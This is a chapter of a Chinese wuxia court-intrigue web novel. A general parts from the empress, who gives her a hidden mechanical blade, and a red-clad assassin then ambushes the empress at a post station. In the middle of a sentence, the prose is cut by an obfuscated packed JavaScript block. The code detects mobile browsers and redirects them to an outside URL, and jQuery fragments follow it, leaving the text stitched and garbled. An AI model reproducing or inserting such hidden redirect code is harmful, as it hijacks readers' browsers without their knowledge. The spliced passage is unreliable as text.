“我说，陆将军啊——”


    陆栖枳猛然反应过来。


    “臣在！”


    “别误了时辰。”


    “……”


    “是。”陆栖枳拱手道。


    仪仗已整备完毕，宫人内侍垂手恭立，只待令下。


    故尘染摇头轻笑。


    就在这肃穆的离别氛围里，故尘染忽然抬手，对准备退至凤辇侧前方的陆栖枳招了招，唇角漾开一抹笑。


    “陆将军，”她慢悠悠道，“临别在即，可否陪本宫……再走一小段？”


    这不是皇后的命令，更像是友人的邀约。


    陆栖枳微微一怔，目光与那双含笑却清亮的眸子对上。


    她沉默一瞬，点了点头：“是。”


    凤辇缓缓启动，碾过官道。


    陆栖枳并未策马疾行护卫于前，而是轻轻一夹马腹，让座下黑马与凤辇并行，速度不快，刚好能与微微掀开珠帘的辇窗内之人平齐。


    秋阳透过稀疏云层，洒下不甚热烈的光，勾勒出两人一在车内，一在马上。


    官道空旷，前路延伸向远山。仪仗的喧嚣被稍稍甩在后方，只余车轮辚辚与马蹄嘚嘚的规律声响。


    静默了片刻，辇内传来故尘染的声音，比方才更轻，有些遗憾道：“此去北境，山高路远，关河冷落。可比不得洛阳，甚至比不得这刚刚太平的玉阳府。”


    陆栖枳微微颔首，目光迎上，平道：“边关苦寒，本是常态。臣习惯了。”


    “习惯归习惯，”故尘染淡笑道，“本宫倒是有点……可惜了。”


    陆栖枳侧目。


    “可惜这次玉光城之行，”故尘染倚在窗边，指尖拨弄着一颗浑圆的东珠，目光却落在陆栖枳握着缰绳，骨节分明的手上，“匆匆一晤，尽是些阴谋算计，雨夜奔忙，没能寻个机会，与陆将军切磋一番枪法。”


    枪法？


    陆栖枳眉峰微动，皇后娘娘……会枪法？她自幼长于边军，见识过无数军中悍将，江湖豪客的兵器，枪乃百兵之王，易学难精，非有大气魄，狠毅力与绝佳天赋者，难以登堂入室。她知道皇后，或者说，万尊阁主，定然身手不凡，心思机敏，但“切磋”二字从这位向来以智谋和权势压人的女子口中说出，还是让人意外。


    她的疑惑几乎写在了脸上。


    “娘娘……”她迟疑着开口，“您……”


    故尘染捕捉到她那一闪而过的讶色，她微微扬起下巴，语气轻快：“怎么，陆将军不信？”她眨了眨眼，“这天下……还没什么是我故尘染不会、或学不会的东西。还是将军是觉得，我这双手，只配摆弄棋子，握不了刀枪？”


    这若是旁人说来，未免托大，说得狂妄至极，可若是从她口中吐出，配上那副理所当然的神情，竟让人生不出多少反感，反而觉得……或许她真有这般底气。


    她说着，竟真的伸出手，对着斜射进来的阳光虚虚一握，恍若握住了一杆无形的长兵，手腕微转，做了个极简洁却隐隐透着力道的刺击动作。


    那动作快而稳，绝非花架子。


    陆栖枳看得真切，心头讶异更甚。那起手式……竟有几分军中枪法的影子，且颇为老道。


    “本座可是听说，”故尘染收回手，托着腮，笑盈盈地看着她，“陆将军的剑固然凌厉，但当年在北境，一杆枪也曾杀得魅启骑兵闻风丧胆，有‘镇关狼枪’之称。是吗？”


    连这都知道？陆栖枳眸光微凝。


    她早年确以枪法见长，枪随她征战多年，直至父亲蒙冤，陆家枪法随之蒙尘，她入洛阳城后多用剑，枪已许久未在人前施展。这属于她过往的细节，万尊阁竟也查得如此清楚。


    “些许虚名，不足挂齿。”陆栖枳按下心中波澜，问道，“娘娘竟对枪法也有涉猎？”


    “涉猎？”故尘染轻笑出声，摇了摇头。


    琴棋书画，诗酒花茶，权谋算计，刺杀潜伏，乃至……十八般兵器。只要她想，只要有必要。


    陆栖枳沉默地望着她，阳光洒在故尘染白皙的侧脸上，她那微微上扬的唇角，自信到近乎睥睨的眼神……与她记忆中深宫中温婉的皇后，地下厅堂里冷肃的阁主，似乎都不尽相同。这是一个更鲜活、更锋利、也更……难以捉摸的故尘染。


    或许，这才是她骨子里的模样。


    半晌，陆栖枳轻轻地摇了一下头。


    不是否定，更像是一种无奈中带着些许连她自己都未察觉的纵容的感叹。


    然后，她转过头，目光望向前方宽敞的官道，声音柔和了那么一丝丝：“娘娘总是那么出人意料，那臣，便期待下次见面之时。定与娘娘……畅快切磋，不论枪剑。”


    她没说切磋，也没说讨教，只说了奉陪。这是承诺，也是认可。


    畅快一战。


    不是君臣较技，不是生死搏杀，是一种摒除了身份与算计，仅仅作为两个在各自领域登峰造极的武者，以手中兵刃，进行一场纯粹的力量，技巧与意志的对话。


    这念头让陆栖枳沉寂多年属于武人的血，似乎隐隐温热了一瞬。


    辇内，故尘染明显愣了一下，随即，眼底的光芒大盛，那笑容真正从心底漾开，明媚如乍破的阳光。


    “好！”她抚掌，声音里带着毫不掩饰的愉悦，“那就说定了！陆栖枳，你可要记着今日之言！”


    陆栖枳没有回头，只是极轻地“嗯”了一声。握着缰绳的手指，却微微收紧了些许。


    故尘染忽然伸手，自辇中取出一物，隔着车窗，抛向陆栖枳。


    陆栖枳抬手接住，入手微沉，是一柄长约尺余、通体乌黑、毫无纹饰的短刃。鞘是普通的鲨鱼皮鞘，柄是黑檀木，样式她没见过，但可以肯定的是出自万尊阁之手。陆栖枳指尖触及刀柄的瞬间，一种极其精密的机括咬合感，让她知道这绝非寻常短刃。


    “不是什么神兵利器，胜在轻便隐蔽，机巧尚可，留着防身，或……拆着玩儿。”故尘染随意道，“听说北境不太平，多份准备总无错。”


    她撒了谎，这可是她与许琼屑和众门人连夜加工赶出来的最新物件，花了不少心思在里头。


    陆栖枳握紧短刃，那触感直抵掌心。


    她抬眸，看向故尘染，郑重抱拳：“谢娘娘赐。娘娘回京，亦请珍重。玉光之事虽了，朝堂之上，未必平静。”


    两人交换了一个心照不宣的眼神。玉光城是棋盘一角，真正的博弈，或许才刚刚开始。


    “行了，别磨蹭了。”故尘染挥挥手，最后看了一眼陆栖枳英挺的侧影，重新靠回软垫，珠帘随之晃动，遮住了她大半面容，只有声音依旧清晰传来，“再耽搁下去，天黑前赶不到下一个驿馆了。若有难处，不必硬撑。万尊阁的线，你知道如何用。陆将军，我们……洛阳再见。”


    并行的小段路即将到头，前方官道岔口，一向南回洛阳，一向北往边关。


    车驾缓缓启动，皇家仪仗迤逦向南。


    陆栖枳勒住马，立于岔路口，目送那华丽的车驾汇入南行的队伍，渐行渐远。直到那一抹明黄彻底消失在视野尽头，她才调转马头，望向北方苍茫的天空与隐约可见的连绵山影。


    直到亲兵上前低声请示，她才收回目光，翻身上马。


    “出发，回凛风关。”


    一声令下，马蹄声起，百骑如龙，烟尘向南，朝着与温暖繁华相反的方向，疾驰而去。


    北境的风，似乎已带着霜雪的寒意，扑面而来。


    分道扬镳，各赴前程。


    车厢内，故尘染并未再看窗外。


    她闭上眼，指尖摩挲着腰上的凤佩，脑海中却反复回响着那句“畅快切磋，不论枪剑”，以及陆栖枳说这话时，眼中那抹真实的笑意。


    良久，她轻轻地叹了口气，微微笑着。


    “下次见面…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191909|177674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …”她低声自语，“希望不是在这般算计重重的棋局之中才好。”


    来日方长。


    队伍并未连夜赶路，在预定的驿馆早早歇下。此处驿馆规模不大，却因靠近官道，修得还算齐整，庭院深深，古木森森，明哨暗桩交错，连一只飞鸟掠过墙头都可能引来数道警惕的目光。


    故尘染却毫无睡意。


    她索性披衣起身，未惊动外间值守的宫女，独自推开通往驿馆后院的角门。


    秋夜的凉气扑面而来，带着草木衰颓的清气，稍稍驱散了她胸中烦闷，此处余一口井，一棵老愧树外，再无旁物。


    她信步走到井边，手扶冰凉的石栏，仰头望天。


    星河低垂，璀璨浩瀚，却照不亮人心底的沟壑。


    就在她神思渺渺之际一股却绝不属于驿站草木清气的甜腻香气，毫无征兆地，随风钻入鼻端。


    有人。而且，是个高手。


    避过了外围明暗岗哨，直接潜到了她这里。


    那香气初闻似兰似麝，故尘染下意识憋气，不让自己闻。


    几乎在同一刹那，头顶槐树茂密的枝叶间，传来一声宛如丝绸摩擦的窸窣声。


    “谁？！”


    清叱未落，故尘染身形已动！她没有后退，反而足尖一点井沿，借力向上，直扑那声音来处！


    烛龙剑“嗡”地一声弹出，直刺树冠暗影！


    “反应倒快。”


    一声轻笑，娇媚入骨，却又带着几分飘忽鬼气，从树影另一侧传来。


    故尘染一击落空，剑尖穿透几片枯叶，人已轻盈落回井栏。


    她抬眼望去，只见驿馆一侧低矮的客房屋檐上，不知何时，立着一道红色的身影。


    月色朦胧，看不清具体容貌，只觉那身红，红得刺眼，红得妖异，如同泼洒的新鲜血液。她背对着月光，面容隐在阴影里，唯有一双血红色的眼睛，似乎亮得惊人，正居高临下，隔着庭院，望向井边的故尘染。


    “是人是鬼，”故尘染开口，面对这位不速之客，她语气里毫无惧意，手中的烛龙剑斜指地面，抬抬下巴道，“报上名来。”


    “咯咯咯……”红衣女子又是一串娇笑，笑声在寂静的夜里回荡，说不出的瘆人，“万尊阁主这般镇定，是早有预料，还是……艺高人胆大？是人是鬼，皇后娘娘自己来看，不就知道了？”


    这个人知道她的身份！


    “本座没空猜谜。”故尘染皱眉，冷声道，“谁派你来的？冬自岁的残党？任安的人？还是……其他什么不长眼的东西？”


    “派？”女子歪了歪头，一双红瞳显得无辜至极，笑道，“我自己想来，便来了。久闻阁主大名，特来……讨教几招。”


    话音刚落，红影骤动！


    她竟不借力，直接从屋檐上飘然而下，如同没有重量的一片红绢，直扑故尘染！速度快得只在空中留下一道残影，五指成爪，直取故尘染咽喉！


    故尘染冷着脸，不退反进，烛龙剑一抖，剑花瞬间绽开，精准无比地点向对方腕间要穴，封死其爪势的同时，她一直隐在袖中的左手探出，并指如剑，不带丝毫花哨，直戳对方肋下要害！


    以指代剑，劲力凝于一点，是最简单，也最考验功力的打法。


    女子显然没料到对方反击的方法如此狠辣刁钻，惊呼一声，慌忙撤爪回防，身形向后飘退，险险避开剑锋，但胸前的衣襟已被剑气划开一道细口。


    高下立判，胜负已分。


    “有点意思。”女子站定，喘着粗气，阴冷道，“难怪能搅得玉光城天翻地覆。”


    “不过如此。”故尘染淡淡评价，语气里听不出失望还是嘲讽。


    红衣女子眼中掠过一丝疑惑，旋即又被更深的兴味取代。


    “好指力！”


    她先是舔了舔涂着胭脂的嘴唇，又舔了舔鲜红的指尖。


    “再来！”